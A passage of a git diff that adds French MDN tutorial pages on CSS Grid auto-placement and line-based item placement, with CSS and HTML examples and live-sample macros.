+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre
+    &lt;br&gt;Cette cellule
+    &lt;br&gt;a du contenu
+    &lt;br&gt;supplémentaire
+    &lt;br&gt;et max vaut auto
+    &lt;br&gt;afin que la ligne
+    &lt;br&gt;se développe.
+  &lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_3', '500', '330')}}</p>
+</div>
+
+<p>On peut aussi passer en argument une liste de pistes qui se répèteront. Dans l'exemple ci-après, on crée une piste implicite pour une ligne de 100 pixels et une seconde de <code>200px</code>. Ce motif sera utilisé tant que du contenu sera ajouté à la grille implicite.</p>
+
+<div id="placement_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+   border: 2px solid #f76707;
+   border-radius: 5px;
+   background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+   border: 2px solid #ffa94d;
+   border-radius: 5px;
+   background-color: #ffd8a8;
+   padding: 1em;
+   color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;Un&lt;/div&gt;
+   &lt;div&gt;Deux&lt;/div&gt;
+   &lt;div&gt;Trois&lt;/div&gt;
+   &lt;div&gt;Quatre&lt;/div&gt;
+   &lt;div&gt;Cinq&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Sept&lt;/div&gt;
+   &lt;div&gt;Huit&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px 200px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_4', '500', '330')}}</p>
+</div>
+
+<h3 id="Utiliser_le_placement_automatique_pour_les_colonnes">Utiliser le placement automatique pour les colonnes</h3>
+
+<p>On peut également paramétrer la grille pour que les objets soient placés automatiquement en suivant les colonnes de la grille. Pour obtenir ce résultat, on utilisera la propriété {{cssxref("grid-auto-flow")}} avec la valeur <code>column</code>. Dans ce cas, la grille ajoutera les objets dans les lignes verticales définies avec {{cssxref("grid-template-rows")}}. Lorsqu'une colonne sera pleine, les prochains objets seront placés dans la colonne explicite suivante ou dans une colonne implicite créée automatiquement s'il n'y a plus assez de colonnes explicites. La taille des pistes pour les colonnes implicites peut être définie avec {{cssxref("grid-auto-columns")}}, cette dernière fonctionne de façon analogue à {{cssxref("grid-auto-rows")}}.</p>
+
+<p>Dans le prochain exemple, on crée une grille avec trois lignes qui mesurent chacune 200 pixels de haut. On utilise le placement automatique en colonne. La première colonne qui sera créée mesurera 300 pixels de large, ensuite on aura une colonne de 100 pixels de large et ainsi de suite jusqu'à ce que tous les éléments puissent être placés.</p>
+
+<div id="placement_5">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-rows: repeat(3, 200px);
+  grid-gap: 10px;
+  grid-auto-flow: column;
+  grid-auto-columns: 300px 100px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+  &lt;div&gt;Six&lt;/div&gt;
+  &lt;div&gt;Sept&lt;/div&gt;
+  &lt;div&gt;Huit&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('placement_5', '500', '640')}}</p>
+</div>
+
+<h2 id="Lordre_des_éléments_placés_automatiquement">L'ordre des éléments placés automatiquement</h2>
+
+<p>Une grille peut contenir un mélange d'éléments. Certains éléments peuvent avoir une position définie et d'autres être placés automatiquement. Ce placement automatique peut s'avérer utile lorsque l'ordre des éléments dans le document est celui qu'on veut utiliser pour organiser la grille : il n'y a alors pas besoin d'écrire de règles CSS pour positionner les éléments un par un. La spécification détaille exhaustivement <a href="https://drafts.csswg.org/css-grid/#auto-placement-algo">l'algorithme de placement des objets sur la grille</a>, mais voyons ici les quelques règles simples qu'il faut principalement retenir.</p>
+
+<h3 id="Modification_de_lordre_du_document">Modification de l'ordre du document</h3>
+
+<p>Le placement des éléments qui n'ont pas eu d'ordre défini sont placés selon l'algorithme décrit dans la section  <em>“order modified document order”</em>. Cela signifie que si on utilise uniquement la propriété <code>order</code>, les éléments seront placés selon cet ordre plutôt que selon l'ordre indiqué par le DOM. Sinon, l'ordre des éléments sera celui décrit par le document source.</p>
+
+<h3 id="Les_éléments_avec_des_propriétés_de_placement">Les éléments avec des propriétés de placement</h3>
+
+<p>La grille commencera par placer les éléments pour lesquels on a défini une position. Dans l'exemple qui suit, on a une grille avec 12 éléments, l'élément 2 et l'élément 5 sont placés en utilisant les lignes. On put voir comment ces deux éléments sont placés et comment les autres sont placés automatiquement dans les espaces restants. Les objets placés automatiquement seront placés avant les éléments qui sont placés, dans l'ordre du DOM.</p>
+
+<div id="placement_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+  &lt;div&gt;Six&lt;/div&gt;
+  &lt;div&gt;Sept&lt;/div&gt;
+  &lt;div&gt;Huit&lt;/div&gt;
+  &lt;div&gt;Neuf&lt;/div&gt;
+  &lt;div&gt;Dix&lt;/div&gt;
+  &lt;div&gt;Onze&lt;/div&gt;
+  &lt;div&gt;Douze&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+}
+.wrapper div:nth-child(2) {
+  grid-column: 3;
+  grid-row: 2 / 4;
+}
+.wrapper div:nth-child(5) {
+  grid-column: 1 / 3;
+  grid-row: 1 / 3;
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_6', '500', '450')}}</p>
+</div>
+
+<h3 id="Gérer_les_éléments_qui_sétalent_sur_plusieurs_pistes">Gérer les éléments qui s'étalent sur plusieurs pistes</h3>
+
+<p>On peut utiliser les propriétés de placement tout en tirant parti du placement automatique. Dans le prochain exemple, on complète la disposition en indiquant que les éléments 1, 4 et 9 (4n+1) doivent occuper deux pistes, pour les colonnes et pour les lignes. Pour obtenir ce résultat, on utilise les propriétés {{cssxref("grid-column-end")}} et {{cssxref("grid-row-end")}} avec la valeur <code>span 2</code>. La ligne de début sera déterminée automatiquement et la ligne de fin sera deux pistes plus loin.</p>
+
+<p>On peut voir coment cela laisse des espaces dans la grille car lorsqu'un élément placé automatiquement n'a pas suffisamment de place sur une piste, une nouvelle ligne sera créée jusqu'à ce que l'élément ait la place.</p>
+
+<div id="placement_7">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+  &lt;div&gt;Six&lt;/div&gt;
+  &lt;div&gt;Sept&lt;/div&gt;
+  &lt;div&gt;Huit&lt;/div&gt;
+  &lt;div&gt;Neuf&lt;/div&gt;
+  &lt;div&gt;Dix&lt;/div&gt;
+  &lt;div&gt;Onze&lt;/div&gt;
+  &lt;div&gt;Douze&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+}
+.wrapper div:nth-child(4n+1) {
+  grid-column-end: span 2;
+  grid-row-end: span 2;
+  background-color: #ffa94d;
+}
+.wrapper div:nth-child(2) {
+  grid-column: 3;
+  grid-row: 2 / 4;
+}
+.wrapper div:nth-child(5) {
+  grid-column: 1 / 3;
+  grid-row: 1 / 3;
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_7', '500', '770')}}</p>
+</div>
+
+<h3 id="Combler_les_espaces">Combler les espaces</h3>
+
+<p>En dehors des éléments placés explicitement, la grille place les éléments automatiques en respectant l'ordre du DOM. C'est généralement le résultat qu'on souhaite lorsqu'on met en forme un document comme un formulaire. Toutefois on veut parfois obtenir une disposition plus dense, sans vide entre les différents éléments.</p>
+
+<p>Pour cela, sur le conteneur, on ajoute la propriété {{cssxref("grid-auto-flow")}} avec la valeur <code>dense</code>. C'est la même propriété qu'on utilise pour modifier l'ordre du flux avec <code>column</code>. On peut aussi obtenir une disposition dense, rangée par colonne en utilisant les deux valeurs pour la propriété : <code>grid-auto-flow: column dense</code>.</p>
+
+<p>Avec cette valeur, la grille cherchera donc à combler les espaces qu'elle a laissés quitte à ne pas respecter l'ordre du DOM. En revanche, l'ordre de la navigation au clavier (<em>tab order</em>) suivra toujours l'ordre du document. Nous étudierons cet aspect plus en détails dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilit%C3%A9">un article sur l'accessibilité</a>.</p>
+
+<div id="placement_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+  &lt;div&gt;Six&lt;/div&gt;
+  &lt;div&gt;Sept&lt;/div&gt;
+  &lt;div&gt;Huit&lt;/div&gt;
+  &lt;div&gt;Neuf&lt;/div&gt;
+  &lt;div&gt;Dix&lt;/div&gt;
+  &lt;div&gt;Onze&lt;/div&gt;
+  &lt;div&gt;Douze&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper div:nth-child(4n+1) {
+  grid-column-end: span 2;
+  grid-row-end: span 2;
+  background-color: #ffa94d;
+}
+.wrapper div:nth-child(2) {
+  grid-column: 3;
+  grid-row: 2 / 4;
+}
+.wrapper div:nth-child(5) {
+  grid-column: 1 / 3;
+  grid-row: 1 / 3;
+}
+.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+  grid-auto-flow: dense;
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_8', '500', '730')}}</p>
+</div>
+
+<h3 id="Les_éléments_anonymes_de_la_grille">Les éléments anonymes de la grille</h3>
+
+<p>Dans la spécification, on utilise le concept d'élément anonyme. Ces éléments sont ceux qui sont créés lorsqu'on a une chaîne de caractères dans le conteneur de la grille et que celle-ci n'est pas contenue dans un autre élément. Dans l'exemple ci-après, on a trois éléments sur la grille : le premier est un élément anonyme car il n'est placé dans aucun élément, il sera alors placé automatiquement. Les deux éléments suivants sont placés dans des <code>div</code> et peuvent être placés automatiquement ou grâce à une autre méthode de positionnement.</p>
+
+<pre class="brush: css">&lt;div class="grid"&gt;
+  Je suis une chaîne de caractères et je serai placé
+  automatiquement.
+  &lt;div&gt;Un élément de la grille&lt;/div&gt;
+  &lt;div&gt;Un élément de la grille&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Les éléments anonymes sont toujours placés automatiquement car on ne peut pas les cibler autrement. Aussi, si on a du texte sans balise dans la grille, il faut se rappeler que celui-ci peut être placé à un endroit imprévu du fait des règles de placement automatique.</p>
+
+<h3 id="Les_cas_dutilisation_pour_le_placement_automatique">Les cas d'utilisation pour le placement automatique</h3>
+
+<p>Le placement automatique peut être utile lorsqu'on a un ensemble d'objets qui se ressemblent. Ce peut être des éléments qui n'ont pas d'ordre logique particulier : une galerie de photos, une liste de produits. Dans ces cas de figure, on peut choisir d'utiliser une disposition dense afin de combler les trous de la grille. Dans l'exemple qui représente la galerie d'images, on a certaines images en paysage et d'autres en portrait (lorsqu'on utilise la classe <code>landscape</code> l'élément s'étend sur deux colonnes). On utilise ensuite <code>grid-auto-flow: dense</code> afin de créer une grille dense.</p>
+
+<div id="placement_9">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
+  grid-gap: 10px;
+  grid-auto-flow: dense;
+  list-style: none;
+  margin: 1em auto;
+  padding: 0;
+  max-width: 800px;
+}
+.wrapper li {
+  border: 1px solid #ccc;
+}
+.wrapper li.landscape {
+  grid-column-end: span 2;
+}
+.wrapper li img {
+  display: block;
+  object-fit: cover;
+  width: 100%;
+  height: 100%;
+}
+</pre>
+
+<pre class="brush: html">&lt;ul class="wrapper"&gt;
+  &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{EmbedLiveSample('placement_9', '500', '1300')}}</p>
+</div>
+
+<p>Le placement automatique peut également aider à disposer des éléments d'interface utilisateur qui ont un ordre logique. Dans l'exemple suivant, on voit comment manipuler les listes de définition. Les listes de définition sont intéressantes car il n'y a pas de niveau de regroupement pour regrouper un terme et ses définitions. Dans cet exemple, on autorise le placement automatique mais on a une classe pour qu'un élément <code>dt</code> démarre sur la première ligne et que l'élément  <code>dd</code> sur la  ligne 2. On s'assure ainsi que les termes sont bien en face de chaque définition, peu importe le nombre de définitions qu'on a pour un terme.</p>
+
+<div id="placement_10">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;dl&gt;
+    &lt;dt&gt;Mammals&lt;/dt&gt;
+    &lt;dd&gt;Cat&lt;/dd&gt;
+    &lt;dd&gt;Dog&lt;/dd&gt;
+    &lt;dd&gt;Mouse&lt;/dd&gt;
+    &lt;dt&gt;Fish&lt;/dt&gt;
+    &lt;dd&gt;Guppy&lt;/dd&gt;
+    &lt;dt&gt;Birds&lt;/dt&gt;
+    &lt;dd&gt;Pied Wagtail&lt;/dd&gt;
+    &lt;dd&gt;Owl&lt;/dd&gt;
+  &lt;dl&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">dl {
+  display: grid;
+  grid-template-columns: auto 1fr;
+  max-width: 300px;
+  margin: 1em;
+  line-height: 1.4;
+}
+dt {
+  grid-column: 1;
+  font-weight: bold;
+}
+dd {
+  grid-column: 2;
+}
+</pre>
+
+<p>{{EmbedLiveSample('placement_10', '500', '230')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir <a href="https://www.sitepoint.com/understanding-masonry-layout/">cet article de SitePoint</a> à propos de la disposition en briques pour d'autres cas d'utilisation.</p>
+</div>
+</div>
+
+<h2 id="Quest-ce_que_le_placement_automatique_ne_permet_pas_de_réaliser_actuellement">Qu'est-ce que le placement automatique ne permet pas de réaliser (actuellement) ?</h2>
+
+<p>Certaines questions se posent encore. Actuellement on ne peut pas cibler toutes les autres cellules de la grille. On ne peut pas non plus définir une règle pour « placer tous les éléments automatiquement après la prochaine ligne intitulée <code>n</code> » (pour que certaines lignes soient sautées). Cette question <a href="https://github.com/w3c/csswg-drafts/issues/796">est décrite sur le dépôt GitHub du CSSWG</a>, n'hésitez pas à ajouter vos exemples de scénarios.</p>
+
+<p>Si vous rencontrez des cas d'utilisation problématiques avec le placement automatique et les grilles, vous pouvez consulter les <em>issues</em> existantes et les compléter ou ajouter les vôtres. Cela permettra que les prochaines versions de la spécification soient meilleures.</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/placer_les_éléments_sur_les_lignes_d_une_grille_css/index.html b/files/fr/web/css/css_grid_layout/placer_les_éléments_sur_les_lignes_d_une_grille_css/index.html
new file mode 100644
index 0000000000..5984342f18
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/placer_les_éléments_sur_les_lignes_d_une_grille_css/index.html
@@ -0,0 +1,605 @@
+---
+title: Placer les éléments sur les lignes d'une grille CSS
+slug: Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guides
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_concepts_de_base", "Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">l'article sur les concepts de base</a>, nous avons vu comment positionner des éléments en utilisant des numéros de lignes. Nous allons désormais étudier cette fonctionnalité de positionnement plus en détail.</p>
+
+<p>Commencer par utiliser les lignes numérotées est plutôt logique car toutes les grilles possèdent des lignes numérotées. Ces lignes forment les colonnes et les lignes horizontales de la grille, elles sont numérotées à partir de 1. On notera aussi que la numérotation des lignes varie selon le mode d'écriture du document. Dans un document écrit de gauche à droite comme le français, la ligne numéro 1 est située à l'extrêmité gauche de la grille. Si l'écriture va de droite à gauche, la ligne numéro 1 sera celle qui est située le plus à droite. Nous explorerons ces notions sur les modes d'écriture dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture">un prochain guide</a>.</p>
+
+<h2 id="Un_exemple_simple">Un exemple simple</h2>
+
+<p>Dans cet exemple simple, on a une grille avec trois pistes pour les colonnes et trois pistes pour les lignes, on a donc 4 lignes pour chaque dimension.</p>
+
+<p>Dans le conteneur, on a quatre éléments fils. Si aucune autre règle de placement n'est indiquée, ces éléments seront placés automatiquement et la grille remplira les quatre premières cellules. Si vous utilisez <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">l'outil de mise en évidence des grilles de Firefox</a>, vous pouvez voir les colonnes et les lignes horizontales formées par la grille.</p>
+
+<p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Un_exemple_simple', '300', '330')}}</p>
+
+<h2 id="Positionner_les_éléments_d'une_grille_grâce_au_numéro_de_ligne">Positionner les éléments d'une grille grâce au numéro de ligne</h2>
+
+<p>On peut placer les éléments d'une grille en utilisant les numéros de lignes qui définissent la zone allouée à l'élément. Si on souhaite que le premier élément commence tout à gauche et occupe une colonne, qu'il commence sur la première ligne et s'étale sur quatre lignes, on pourra utiliser les règles suivantes :</p>
+
+<div id="Line_Number">
+<pre class="brush: css">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+</pre>
+
+<p>Lorsqu'on positionne des objets sur la grille, les autres continueront d'être placés selon les règles de placement automatique. Nous verrons ces règles dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS">un prochain guide</a> mais grâce à cet exemple, on peut voir que les cellules vides sont remplies au fur et à mesure par les objets qui ne sont pas placés explicitement.</p>
+
+<p>On peut placer chacun des éléments individuellement et on peut également choisir de laisser certaines cellules vides. Un des avantages de la grille CSS est qu'on peut créer des espaces sans avoir à utiliser des marges ou d'autres méthodes de contournement.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;Un&lt;/div&gt;
+   &lt;div class="box2"&gt;Deux&lt;/div&gt;
+   &lt;div class="box3"&gt;Trois&lt;/div&gt;
+   &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box2 {
+  grid-column-start: 3;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 3;
+  grid-row-start: 1;
+  grid-row-end: 2;
+}
+.box4 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 3;
+  grid-row-end: 4;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Line_Number', '300', '330')}}</p>
+</div>
+
+<div id="Grid_Shorthands">
+<h2 id="Les_propriétés_raccourcies_grid-column_et_grid-row">Les propriétés raccourcies <code>grid-column</code> et <code>grid-row</code></h2>
+
+<p>On a écrit beaucoup de règles pour positionner chaque élément. Heureusement, il existe des propriétés raccourcies qui permettent d'avoir une syntaxe plus concise. Les propriétés {{cssxref("grid-column-start")}} et {{cssxref("grid-column-end")}} peuvent être combinées pour former la propriété raccourcie {{cssxref("grid-column")}} et de la même façon, {{cssxref("grid-row-start")}} et  {{cssxref("grid-row-end")}} peuvent être synthétisées avec {{cssxref("grid-row")}}.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column: 1 / 2;
+  grid-row: 1 / 4;
+}
+.box2 {
+  grid-column: 3 / 4;
+  grid-row: 1 / 3;
+}
+.box3 {
+  grid-column: 2 / 3;
+  grid-row: 1 /  2;
+}
+.box4 {
+  grid-column: 2 / 4;
+  grid-row: 3 / 4;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Grid_Shorthands', '300', '330')}}</p>
+</div>
+
+<h3 id="La_taille_par_défaut">La taille par défaut</h3>
+
+<p>Dans les exemples précédents, on a défini chaque ligne et colonne de fin pour chaque élément. Mais si en pratique, on souhaite qu'un élément n'occupe qu'une seule piste, on peut omettre <code>grid-column-end</code> ou <code>grid-row-end</code>. Par défaut, les éléments occupent une seule piste. Notre exemple initial, avec les propriétés détaillées peut donc être réécrit de cette façon :</p>
+
+<div id="End_Lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-row-start: 1;
+  grid-row-end: 4;
+}
+.box2 {
+  grid-column-start: 3;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-row-start: 1;
+}
+.box4 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 3;
+}
+</pre>
+
+<p>{{EmbedLiveSample('End_Lines', '300', '330')}}</p>
+</div>
+
+<p>Avec les propriétés raccourcies, on obtient le code suivant (sans aucune barre oblique ni seconde valeur pour les éléments qui n'occupent qu'une seule piste).</p>
+
+<div id="New_Shorthand">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column: 1 ;
+  grid-row: 1 / 4;
+}
+.box2 {
+  grid-column: 3 ;
